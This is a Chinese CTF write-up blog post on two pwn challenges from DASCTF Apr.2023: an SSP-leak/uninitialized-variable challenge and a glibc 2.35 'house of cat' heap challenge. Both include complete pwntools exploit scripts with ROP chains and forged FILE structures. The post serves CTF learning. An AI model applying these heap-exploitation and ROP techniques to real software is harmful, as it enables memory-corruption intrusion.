首页 > 其他分享 >DASCTF Apr.2023 X SU战队2023开局之战 pwn

DASCTF Apr.2023 X SU战队2023开局之战 pwn

时间:2023-04-29 12:55:25浏览次数:29  
标签:Apr.2023 p64 libc SU add base 战队 str sendlineafter

DASCTF Apr.2023 X SU战队2023开局之战 pwn

four

漏洞是2.23的ssp leak和未初始化漏洞

主要的难点就是分析程序而且题中有一些干扰选项

保护

image-20230422210313120

程序分析

主函数有4个选项

1:是干扰的选项(因为会关闭标准错位流,那就没法打ssp leak)

2:这个函数中有一个未初始化漏洞

3:就是在这个函数中利用未初始化漏洞去打开flag文件

4:就是将flag文件中内容读取到bss上

5:就是在这个函数中去打ssp leak

image-20230422210712454

做题流程

进入2选项

下面的if里面的东西没啥用,就不需要进入了

image-20230422213219387
进入3选项

真正有用也就红框框柱的(结合未初始化漏洞打开flag文件)其他的没用是干扰选项

image-20230422220208313

进入4选项

主要就是控制下面这个read

image-20230422223635613
进入选项5

利用溢出修改存放有程序名的地方并触发canary

image-20230422223742037

exp

from tools import *
#context.log_level='debug'
p=process('a')
debug(p,0x40141F)
p.sendlineafter("your choice : \n",str(2))
p.sendlineafter("You can give any value, trust me, there will be no overflow\n",str(0x5fef))
payload=b'bb'+b'flag\x00'*0x1300 
p.recvuntil("Actually, this function doesn't seem to be useful\n")
p.sendline(payload)


p.sendafter("Really?\n",'n') 
p.recvuntil('your choice :')
pause()
p.sendline('3')
p.sendlineafter("Enter level:",str(1))
p.sendlineafter("Enter mode:",str(1))
p.sendlineafter("Enter X:",str(1))
payload='a'*0x10
p.sendlineafter("Enter a string: ",payload)

p.sendlineafter("please input filename\n",'output.txt')
p.sendlineafter("1. yes\n2.no\n",str(2))

p.sendlineafter("your choice : \n",str(4))
payload='>:`!!>@g*>~3'
p.sendlineafter('info>>\n',payload)

p.sendlineafter("your choice : \n",str(5))
payload=b'a'*0x118+p64(0x602121)
p.sendlineafter("This is a strange overflow. Because of canary, you must not hijack the return address\n",payload)

p.interactive() #0x776dc

largeheap

保护策略

2.35的house of cat

有一个沙箱禁用了execve

程序分析

有三个功能 1、add 2、delete 3、edit

image-20230428205509422

漏洞利用

delete中有一个uaf

edit有两种模式

​ 选择1中有数组溢出可以造成io_leak,(修改io_read_endio_write_base的后两个字节为0(只改倒数第二个字节为0也可以)) (只有两次机会)

​ 选择2就是正常的edit(但只有一次机会)

所以利用流程就是io_leak泄露地址,house of cat 配合svcudp_reply

在这里再说一下house of cat 修改的地方就是两个结构体的write_ptr>write_base

再恢复一下_lock字段

修改wide中vtable(和call有关)

布局

首先先申请四个chunk

add(0,0x440)
add(1,0x430)
add(2,0x450)
add(3,0x468)

再将1和2释放掉在申请出两个chunk4,5大小分别是0x450 0x430(是在原本释放的1和2中申请出来的)

然就是利用uaf让释放5可以和top合并,在通过2完成large bin attack 和修改5的size(也就是top chunk的size)

附上两张伪造的结构体的布局

image-20230429123754359

image-20230429123848424

exp

from tools import *
import time
from ctypes import *

p = process('largeheap')
elf = ELF("./largeheap")
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
libs=cdll.LoadLibrary("/lib/x86_64-linux-gnu/libc.so.6")
context(arch="amd64",os="linux",log_level="debug")

def meau(index):
    p.sendlineafter("Your choice: ",str(index))

def add(index,size,content='flag\x00\x00\x00\x00'):
    meau(1)
    p.sendlineafter("index: ",str(index))
    p.sendlineafter("size: ",str(size))
    p.sendafter("content: ",content)

def delete(index):
    meau(2)
    p.sendlineafter("index: ",str(index))

def edit(ints,types,index,content):
    meau(3)
    p.sendlineafter("We need to check your identity!\n",str(ints))
    p.sendlineafter("Please select the type of edit: ",str(types))
    if (types ==1):
        p.sendlineafter("index: ",str(index))
        p.sendafter("content: ",content)
    if (types == 2):
        p.sendlineafter("index: ",str(index))
        p.sendlineafter("Please enter offset: ",str(content))

add_p=0x153E
delete_p=0x1630

add(0xf,0x418,'a')
add(0xe,0x418,'a')
delete(0xf)


libs.srand(int(time.time()))
a=libs.rand()
print(a)
edit(a,2,0xf,0xaa0+0x20+1)

libs.srand(int(time.time()))
a=libs.rand()
print(a)
edit(a,2,0xf,0xaa0+0x20+1-0x10)

strs=b'\x00'*2+b'\x08'+b'\x00'*0x29+b'\x01'+b'\x00'*0x1d
p.recvuntil(strs)

heap_base = u64(p.recv(6).ljust(8,b'\x00'))
log_addr('heap_base')
strs=b'\x01'+b'\x00'*3+b'\xff'*3+b'\x7f'
p.recvuntil(strs)

libc_base=u64(p.recv(6).ljust(8,b'\x00'))-0x1d809b
log_addr('libc_base')

svcudp_reply=libc_base+0x16a1fa
leave_ret=libc_base+0x00000000000562ec
pop_rdi=libc_base+0x000000000002a3e5
pop_rsi=libc_base+0x000000000002be51
pop_rdx_r12=libc_base+0x000000000011f497
open=libc_base+0x114690
read=libc_base+0x00000114980
write=libc_base+0x000000114a20
add_rsp_0x40=libc_base+0x00000000000ec4d0
p.sendline('2')
p.sendlineafter("index: ",'14')

heap_base=heap_base+0x290
io_file=p64(4)*4# write_ptr
io_file+=p64(0)*3
io_file+=p64(heap_base+0xe0+0xd0-0x18)    #rbp
io_file+=p64(0)*7
io_file+=p64(libc_base+0x21ba60)
io_file+=p64(0)*2   
io_file+=p64(heap_base+0xe0)  # wide
io_file+=p64(0)*6
io_file+=p64(libc_base+0x2160c0+16)
  # 
wide_data=p64(0)*4+p64(1)
wide_data+=p64(0)*19
wide_data+=p64(add_rsp_0x40) 
wide_data+=p64(0xdeadbeef)                               
wide_data+=p64(heap_base+0xe0+0xd0-8)   #rax
wide_data+=p64(0)                   
wide_data+=p64(heap_base+0xe0+0xd0)#wide_vtable
wide_data+=p64(svcudp_reply)
wide_data+=p64(leave_ret)     #second call

flag=heap_base+0x1a8+0x728
orw=p64(pop_rdi)+p64(flag)+p64(pop_rsi)+p64(0)
orw+=p64(open)
orw+=p64(pop_rdi)+p64(3)
orw+=p64(pop_rsi)+p64(heap_base-0x50)+p64(pop_rdx_r12)+p64(0x50)*2
orw+=p64(read)
orw+=p64(pop_rdi)+p64(1)
orw+=p64(pop_rsi)+p64(heap_base-0x50)+p64(pop_rdx_r12)+p64(0x50)*2
orw+=p64(write)




add(0,0x440,io_file+wide_data+orw)
add(1,0x430)
add(2,0x450)
add(3,0x468)

delete(1)
delete(2) #merge   save the pointer in 2

add(4,0x460,b'g'*0x430+p64(0)+p64(0x461)) # modify 修改2的inuser位
add(5,0x420)   #reply
delete(2)
add(6,0x450,b'g'*0x20+p64(0)+p64(0xd11))   #修改5的size
delete(2)
add(7,0x460)

delete(0)
delete(5)
stderr=libc_base+libc.symbols['stderr']
payload=p64(libc_base+0x1a0e0)*2+p64(0)+p64(stderr-0x20)+p64(0)+p64(0x301)

log_addr('stderr')

libs.srand(int(time.time()))
a=libs.rand()
edit(a,1,2,payload)
debug(p,'pie',add_p,delete_p) 
add(8,0x468)  #large bin attack 
libs.srand(int(time.time()))

p.interactive()
#4040   large bin 0xa427c  malloc_assert 0xa0ef0          call   0x83d55               
#p *(struct _IO_wide_data *)            

标签:Apr.2023,p64,libc,SU,add,base,战队,str,sendlineafter
From: https://www.cnblogs.com/trunk/p/17363820.html

相关文章

  • [ABC299F] Square Subsequence
    ProblemStatementYouaregivenastring$S$consistingoflowercaseEnglishletters.Printthenumberofnon-emptystrings$T$thatsatisfythefollowingcondition,modulo$998244353$.Theconcatenation$TT$oftwocopiesof$T$isasubsequenceof$S$(......
  • /usr/bin/env: ‘python’: No such file or directory
     01、问题 02、解决方法a、root@DESKTOP-A31BQ38:/home/software/gatk-4.4.0.0#whichpython3##确定已经安装python;或者执行whichpython,输出python可调用路径/usr/bin/python3 b、root@DESKTOP-A31BQ38:/home/software/gatk-4.4.0.0#ln-s/usr/b......
  • [ABC140E] Second Sum
    2023-02-13题目题目传送门翻译翻译难度&重要性(1~10):4题目来源AtCoder题目算法双向链表解题思路\(1.\)当我们用从小到大的顺序来求解时,把原来求过的都直接跳过,不用再进行重新求解,以此来降低时间的复杂度。\(2.\)在我们每次更新时,比当前小的数都已经被跳过了,所以可......
  • weblogic中使用commons-lang 出现 NoSuchMethodError错误
    weblogic中使用commons-lang出现NoSuchMethodError错误 项目中使用了commons-lang-2.4.jarweblogic启动时预先加载了一个commons-lang的包(bea11g\modules\com.bea.core.apache.commons.lang_2.1.0.jar)这样jar包版本出现冲突 在plan/WEB-INF下面添加weblogic.xml文件,其中添加以......
  • Fastapi之微服务Consul应用注册发现
    importuvicornfromfastapiimportFastAPIapp=FastAPI()defregister(server_name,ip,port):c=consul.Consul(host="127.0.0.1",port=8500)#consul服务器信息print(f"开始注册服务{server_name}")check=consul.Check.tcp(ip,po......
  • 多维评测指标解读2022MSU世界编码器大赛结果
    是极致性能,更是最佳商用。19项第一之上,是63%的极致带宽降低近日,2022MSU世界视频编码器大赛成绩正式揭晓。报告显示,阿里媒体处理服务MPS(AlibabaMediaProcessingService)s264及s265编码器共计斩获19项评测第一,相较大赛指定基准编码器(AWSElementalMediaConvert),可再节省高达63......
  • Vulkan Support Check and Dynamic Loader C++ code sample
    很多时候不想静态依赖VulkanSDK所提供的静态库,因为会遇到一些过早的电脑不支持vulkan,那么就需要使用动态加载vulkan-1.dll(forWindows)或libMoltenVK.dylib(forMacOS)的方式进行判断了。VulkanSDK提供了相关头文件实现可以做到相关功能,仅需要include一下头文件`vulkan/vulkan.hpp......
  • 【Visual Leak Detector】核心源码剖析(VLD 1.0)
    说明使用VLD内存泄漏检测工具辅助开发时整理的学习笔记。本篇对VLD1.0源码做内存泄漏检测的思路进行剖析。同系列文章目录可见《内存泄漏检测工具》目录目录说明1.源码获取2.源码文件概览3.源码剖析3.1注册自定义AllocHook函数3.2存储调用堆栈信息3.3生成泄漏检测......
  • CF1814E Chain Chips & CF750E New Year and Old Subsequence - 动态 dp -
    一句话概括动态dp:用来解决带修改/多次区间询问的dp问题。将转移写成矩阵的形式,然后利用线段树求解区间问题/单点修改1814E注意一条边要么选2要么选0次,而且第一条边一定是选了2次。如果有一条边没选,那么这条边两侧的边一定都选了。设\(f_i\)代表考虑到第\(i\)条边,......
  • PS磨皮滤镜降噪插件套装Imagenomic Professional Plugin Suite
    ImagenomicProfessionalPluginSuite插件下载ImagenomicProfessionalPluginSuiteforMac是一款适用于苹果操作系统的专业级插件套装,包括了Noiseware、Portraiture和Realgrain三个插件。Noiseware可以快速去除图像中的噪点,提高图像的清晰度和质量。Portraiture是一款人像修......